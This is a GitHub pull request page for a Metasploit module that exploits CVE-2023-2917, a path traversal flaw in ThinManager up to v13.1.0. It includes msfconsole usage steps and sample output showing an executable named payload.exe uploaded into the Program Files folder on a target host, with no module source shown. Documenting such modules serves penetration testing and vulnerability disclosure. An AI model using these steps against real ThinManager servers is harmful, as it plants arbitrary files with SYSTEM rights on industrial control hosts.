Skip to content

ThinManager Path Traversal Upload (CVE-2023-2917) Module #20141

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 4 commits into from
Jun 4, 2025

Conversation

h4x-x0r
Copy link
Contributor

@h4x-x0r h4x-x0r commented May 7, 2025

This module exploits a path traversal vulnerability (CVE-2023-2917) in ThinManager <= v13.1.0 to upload arbitrary files to the target system. It is very similar to #20138, but exploits a different message type and works against slightly newer versions too.

The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.

Verification Steps

  1. The software can be obtained from the vendor.
  2. Start msfconsole
  3. msf6 > use auxiliary/admin/networking/thinmanager_traversal_upload2
  4. msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set RHOSTS <IP>
  5. msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set LFILE <local file location>
  6. msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set RFILE <remote file location>
  7. msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > run

Example output:

msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > run
[*] Running module against 192.168.137.229

[*] 192.168.137.229:2031 - Running automatic check ("set AutoCheck false" to disable)
[!] 192.168.137.229:2031 - The service is running, but could not be validated.
[*] 192.168.137.229:2031 - Sending handshake...
[*] 192.168.137.229:2031 - Received handshake response.
[*] 192.168.137.229:2031 - Read 27648 bytes from /tmp/payload.exe
[*] 192.168.137.229:2031 - Uploading /tmp/payload.exe as /Program Files/Rockwell Software/ThinManager/payload.exe on the remote host...
[*] 192.168.137.229:2031 - Upload request length: 27752 bytes
[!] 192.168.137.229:2031 - No response received after upload.
[+] 192.168.137.229:2031 - Upload process completed. Check if '/Program Files/Rockwell Software/ThinManager/payload.exe' exists on the target.
[*] Auxiliary module execution completed

Successfully tested on

  • ThinManager v13.1.0 on Windows 22H2
  • ThinManager v13.0.1 on Windows 22H2
  • ThinManager v12.0.0 on Windows 22H2
  • ThinManager v12.1.5 on Windows 22H2
  • ThinManager v12.0.4 on Windows 22H2

@h4x-x0r h4x-x0r marked this pull request as ready for review May 7, 2025 17:07
@bwatters-r7 bwatters-r7 self-assigned this May 8, 2025
@bwatters-r7 bwatters-r7 merged commit 312d052 into rapid7:master Jun 4, 2025
18 checks passed
@bwatters-r7
Copy link
Contributor

Release Notes

Adds a module targeting CVE-2023-2917, a path traversal vulnerability in ThinManager <= v13.1.0, to upload an arbitrary file as system.

@h4x-x0r
Copy link
Contributor Author

h4x-x0r commented Jun 5, 2025

@bwatters-r7 Thank you for reviewing this and the other ThinManager modules, and for getting them merged!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants